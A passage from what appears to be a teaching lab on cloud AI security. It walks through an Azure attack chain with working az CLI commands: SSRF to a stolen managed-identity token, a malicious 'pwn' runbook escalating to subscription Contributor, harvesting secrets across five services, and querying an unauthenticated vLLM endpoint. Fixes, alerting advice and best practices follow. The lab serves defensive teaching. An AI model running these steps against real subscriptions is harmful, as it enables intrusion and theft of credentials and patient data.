echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '{oid, appid, xms_mirid}'
{"oid":"77e0...","xms_mirid":".../patient-portal-vm","appid":"a1b2c3d4-..."}

SSRF returned a short-lived managed-identity token (a JWT, a JSON Web Token) for the Azure Resource Manager (ARM) management plane — no static key needed. The xms_mirid claim names the identity: the patient-portal-vm's system-assigned identity. It's short-lived, but it inherits whatever RBAC that VM was granted, and it will happily talk to management.azure.com.

7.2 First hop · what the VM's identity can actually do (NSA #5 · Least privilege)

Authenticate the CLI with the stolen token and enumerate. The VM identity has a custom role scoped to the resource group — reasonable-looking. But two entries give away the next hop:

$ az role assignment list --assignee 77e0... --all \
  --query "[].{role:roleDefinitionName, scope:scope}" -o table
Role              Scope
----------------  ------------------------------------------------
portal-app-role   /subscriptions/…/resourceGroups/sthubbins-rg
$ # the role definition — most of it is tight, two lines are not
{
  "roleName": "portal-app-role",
  "assignableScopes": ["/subscriptions/…/resourceGroups/sthubbins-rg"],
  "permissions": [{
    "actions": [
      "Microsoft.Resources/subscriptions/resourceGroups/read",
      "Microsoft.Storage/storageAccounts/listKeys/action",       // ← account-key theft, unscoped
      "Microsoft.Automation/automationAccounts/read",
      "Microsoft.Automation/automationAccounts/jobs/write"        // ← can start runbooks
    ]
  }]
}

listKeys hands over storage account keys (§7.4). But the escalation is automationAccounts/jobs/write: the identity can start a runbook, and runbooks execute as the Automation Account's own managed identity — a different, and as it turns out far broader, identity.

7.3 Second hop · the Automation Account's Contributor identity (NSA #5 · the built-in-role trap)

The mlops-automation Automation Account exists to run nightly retraining jobs. Someone gave its system-assigned identity the built-in Contributor role — assigned at the subscription scope, "so the runbooks don't fail." That single assignment is the entire bug. We publish a one-line runbook that grabs a token and runs as that identity:

$ az automation runbook create -g sthubbins-rg --automation-account-name mlops-automation \
  -n pwn --type PowerShell
$ az automation runbook replace-content ... --content 'Connect-AzAccount -Identity; Get-AzSubscription'
$ az automation runbook start -g sthubbins-rg --automation-account-name mlops-automation -n pwn
# the job runs as mlops-automation's identity — now check what THAT can do
$ az role assignment list --assignee <automation-mi-oid> --all -o table
Role         Scope
-----------  -------------------------------
Contributor  /subscriptions/8f2a…            
Vulnerability · Contributor-at-subscription on a shared automation identity · MITRE ATT&CK T1078.004 (Valid Accounts: Cloud)

Contributor grants write on nearly every resource in its scope — it can't touch RBAC itself (Microsoft.Authorization/*/write is excluded), but it can read every storage key, deploy resources, run commands on VMs, and pull from every registry. Assigned at subscription scope on a shared automation identity that any RG-scoped role can trigger, it sits downstream of — and quietly cancels — every carefully scoped custom role above it. This is the Azure twin of AWS's AmazonSageMakerFullAccess trap: a convenient broad grant on a shared resource.

# the moment of accidental cross-team access — resources from other clients appear
$ az resource list --query "[].resourceGroup" -o tsv | sort -u
rainyday-risk-rg        # a completely different client
sthubbins-rg            # ours
tapheads-fraud-rg       # another client

The fix is structural: never assign built-in Contributor/Owner at subscription or resource-group (RG) scope to a shared or automation identity. Use a custom role scoped to the exact resources the runbook touches, and Privileged Identity Management (PIM) for just-in-time elevation instead of standing privilege.

7.4 Secrets sprawl · five Azure services (NSA #4 · Encrypt + #6 · Logging)

With subscription-wide write we go shopping for credentials. ML pipelines fragment secrets across services because each integration ("write to blob," "read a connection string," "log a run") needs its own touch-point. Each row below is a real Azure pattern; they generalize.

ServiceLeak vectorWhat it gave up
Azure Key VaultRBAC/access-policy too broad + version history retainedCurrent DB password + the previous one (rotated but still readable via /secrets/{name}/{oldVersion})
Storage accountlistKeys → account key → download blobpatient_feedback.csv — names, emails, departments — straight protected health information (PHI)
App ConfigurationConnection strings stored as plaintext key-values, not Key Vault referencesPostgres + Service Bus connection strings in the clear
Automation variablesVariable created with Encrypted = falseA service-principal client secret with its own standing access
Container Registry (ACR)az acr login (Contributor) → pull image → docker inspectHugging Face token + storage key baked into an ENV at build time

The recurring lesson: ML workflows scatter secrets across services without centralized secret management. Each service becomes another hiding place; defenders chase them service-by-service while attackers enumerate them in a morning. The fix is one secret store (Azure Key Vault with RBAC, not legacy access policies), short-lived issued credentials, purge of old versions, and an aggressive ban on plaintext everywhere else — App Configuration Key Vault references, encrypted Automation variables, no secrets in image ENV.

7.5 The internet-exposed model (NSA #3 · Restrict network access)

Instead of the hardened serverless endpoint from §5, a hurried team self-hosted DeepSeek-R1 on a raw GPU VM running vLLM. Contributor lets us enumerate compute and its network rules:

$ az vm list -d --query "[?publicIps!=''].{name:name, ip:publicIps, size:hardwareProfile.vmSize}" -o table
Name           Ip              Size
-------------  --------------  -----------------
deepseek-vllm-vm    20.85.123.45    Standard_NC24ads_A100_v4
$ az network nsg rule list --nsg-name deepseek-vllm-nsg -g sthubbins-rg \
  --query "[?access=='Allow'].{name:name, port:destinationPortRange, src:sourceAddressPrefix}" -o table
Name        Port   Src
----------  -----  --------
ssh         22     Internet
vllm-api    8000   Internet      <-- the model, open to the world
$ curl -s http://20.85.123.45:8000/v1/models | jq -r '.data[].id'
deepseek-ai/DeepSeek-R1

An A100 VM running vLLM with port 8000 open to Internet (Azure's name for 0.0.0.0/0) and no authentication. Any internet user queries the model directly — bypassing the serverless endpoint's key auth, its Content Safety filter, the RBAC, and every audit log Azure would have written for an authorized call. This is the §4 lesson made operational: the gateway is not the model server.

why this matters more for cloud than for the server lab

The §6 NSA checklist made "private networking (Private Endpoints / VNet)" its own principle. This is why. A vLLM server bound to 0.0.0.0:8000 inside a VNet reaches the public internet the moment its Network Security Group has an Allow rule with source Internet on port 8000 — and NSGs are configured by application teams, not by the platform team that wrote the RBAC. The vLLM VM defeated every RBAC control upstream of it without the attacker sending a single management-plane call.

7.6 What the chain looked like, end to end

HopIdentityCapability gainedNSA principle violated (§3)
0InternetSSRF in /api/export#2 Validate input
1patient-portal-vm managed identityIMDS → ARM token + RBAC map#2 Input + #3 Network (IMDS reachable)
2same (custom portal-app-role)unscoped listKeys + start Automation runbooks#5 Least privilege
3mlops-automation identityrunbook exec → Contributor at subscription#5 (the trap)
4samefive-service secret hunt yields production creds#6 Logging + #4 Encrypt
5Internet (no creds)direct query to self-hosted DeepSeek/vLLM VM · no auth#3 Private networking
the seven structural fixes
  1. Validate the template_url at the edge. Allowlist trusted hosts; refuse file://, the link-local 169.254.169.254, and any private/internal IP. The SSRF is the door; close the door.
  2. Never grant built-in Contributor/Owner at subscription or RG scope to a shared or automation identity. Use a custom role scoped to the exact resources the workload touches. Azure RBAC best practices is the starting point.
  3. Shrink the IMDS blast radius. Azure has no IMDSv2-style session token — the Metadata: true header is the only guard — so the defense is scope: keep each VM/App identity's RBAC tiny, and block outbound to 169.254.169.254 from request-handling code. A stolen token should be worth almost nothing.
  4. Centralize secrets in Key Vault (RBAC, not access policies). Purge old versions; ban plaintext elsewhere — App Configuration Key Vault references, encrypted Automation variables, no secrets in App Configuration key-values.
  5. Alert on the tells in Azure Monitor / Defender for Cloud. Anomalous managed-identity token use, Automation runbook job creation by an unexpected principal, and new role assignments. Delete or redact historical log streams that captured secrets.
  6. Strip ENV secrets from images at build time. Use BuildKit secrets (--mount=type=secret) for build-time credentials so they don't bake into the final image; scan ACR images for embedded keys.
  7. Default-deny NSGs + Private Endpoints; zero Internet-sourced rules on model ports. The hardened serverless endpoint (key auth + Content Safety + audit) is what should face callers — never a raw vLLM VM. If you must self-host, it binds 127.0.0.1 behind a reverse proxy.
Try it · the cheapest signal on this chain

Which Azure Activity Log event would have given the earliest, highest-signal alert in this engagement? The earliest moment a SOC could have caught it — and what alert would have made the catch cheap?

Show one defensible answer
The first Automation runbook job creation triggered by the patient-portal-vm identity. A web-portal VM should never start an MLOps runbook. An Azure Monitor alert on Activity Log Microsoft.Automation/automationAccounts/jobs/write where the caller is the portal's managed identity would have fired on hop 3 — before any secrets were read, before the subscription-wide token was ever used. Pair it with a paging-loud playbook ("portal identity started an automation job — expected?"). Cheap to write; impossible to evade, because the escalation requires that runbook to run.

8 · Best practices

1
Read the shared-responsibility doc for your platform before you ship. GCP shared fate, Azure shared responsibility, AWS shared responsibility. Read once, save the link.
2
Default-deny public networking. Private endpoints / VPC service controls / PrivateLink — pick the right primitive for your cloud, turn it on at project creation, and require an exception process to open a public IP.
3
Use workload identity, not static keys. Every cloud has the equivalent. Static keys leak (commit to git, screenshot in Slack, baked into a container image); workload identities don't have that failure mode.
4
Audit logs into a queryable warehouse on day one. Azure Log Analytics (KQL, as in §5.6), BigQuery, Snowflake, S3 + Athena — whatever you like. Not "we have logs"; "we have logs and we can SQL them within five minutes." This is the difference between "yes we'll investigate" and an actual investigation.
5
Set a budget alert at 50%, 80%, 100% of expected. Cloud bills surprise people every semester. A run-away agent — dcode stuck in a loop — that calls your endpoint a million times overnight will cost you. In Azure, put a Cost Management budget on the subscription (or resource group) with alerts; the alert is the cap.
6
Pin model versions explicitly. A catalog alias like "DeepSeek-R1" resolves to the latest version and can be silently re-pointed by the platform. Pin the specific version your evaluation passed against (the /versions/N you dropped in §5.3). Plan a quarterly migration window to bump it.
7
Layer your safety classifier on top of the platform's safety filter. Azure AI Content Safety screens your endpoint by default. Use it and your Lab 11 classifier — different failure modes, complementary coverage.
8
Tag every resource. Project, owner, environment, cost-center. Three months from now the question "what is this for?" is asked about every resource, and labels are the only honest answer.

9 · Anti-patterns

things that look like cloud security but aren't

FAQ

Why Azure for this lab?

Because Azure AI Foundry has the deepest enterprise-identity integration (Entra) — which makes the identity and RBAC lessons concrete — and it deploys DeepSeek-R1 serverless straight from the CLI. Vertex and Bedrock are operationally equivalent for this material; if your account is elsewhere, the concepts in §2 transfer, but the exact CLI commands won't. Learn one cloud in depth here.

What if my team is on-prem only?

Same patterns, different primitives: replace Identity-Aware Proxy (IAP) with OpenID Connect (OIDC) + an authenticating reverse proxy, replace IAM with Kerberos/RBAC, replace BigQuery with Splunk/Elastic. The seven NSA principles all apply.

What's the cheapest production-realistic deployment?

Azure Foundry serverless DeepSeek-R1 (pay-per-token, no VM to keep running) behind the default content filter, audited to Log Analytics. If your subscription can't use serverless yet, managed compute on the smallest GPU SKU works — just scale it to zero or delete the endpoint the moment you're done, or the running VM quietly burns your budget.

Is DeepSeek-R1 really deployable from the CLI?

Yes — we deployed it end-to-end while writing this lab. Its Model ID resolves in the azureml-deepseek registry, and it's sold by Azure, so az ml serverless-endpoint create stands up a key-authed endpoint with no Marketplace subscription step. The one variable is region: serverless availability differs by region (a sibling model, DeepSeek-V3.1, returned ServerlessModelNotAvailable in our region while R1 deployed cleanly). If create reports the model unavailable, recreate the workspace in a supported region or use managed compute. Want a different model? Any serverless catalog entry works — swap the model_id; the agent and audit wiring are identical.

Is it safe to let dcode run my shell with a self-hosted model?

Only with the guardrails on. The model being yours doesn't make its output trustworthy — a prompt-injected file or a hallucinated command is just as dangerous from DeepSeek-R1 as from any model. Keep dcode's approval gates enabled, scope its tools, and run anything touching untrusted input in a remote sandbox. See the §5.5 callout and hardening row 8.

Does this work with Claude / Gemini / GPT directly (no open-weights)?

Yes. Replace §5.3 with a managed-model API call (no GPU SKU, no Marketplace subscription). Everything else — Entra auth, content safety, audit logs, the dcode wiring, the threat model — is identical. The shared-responsibility line in the try-it widget shifts to the "SaaS API" position, but the layers you own are the same.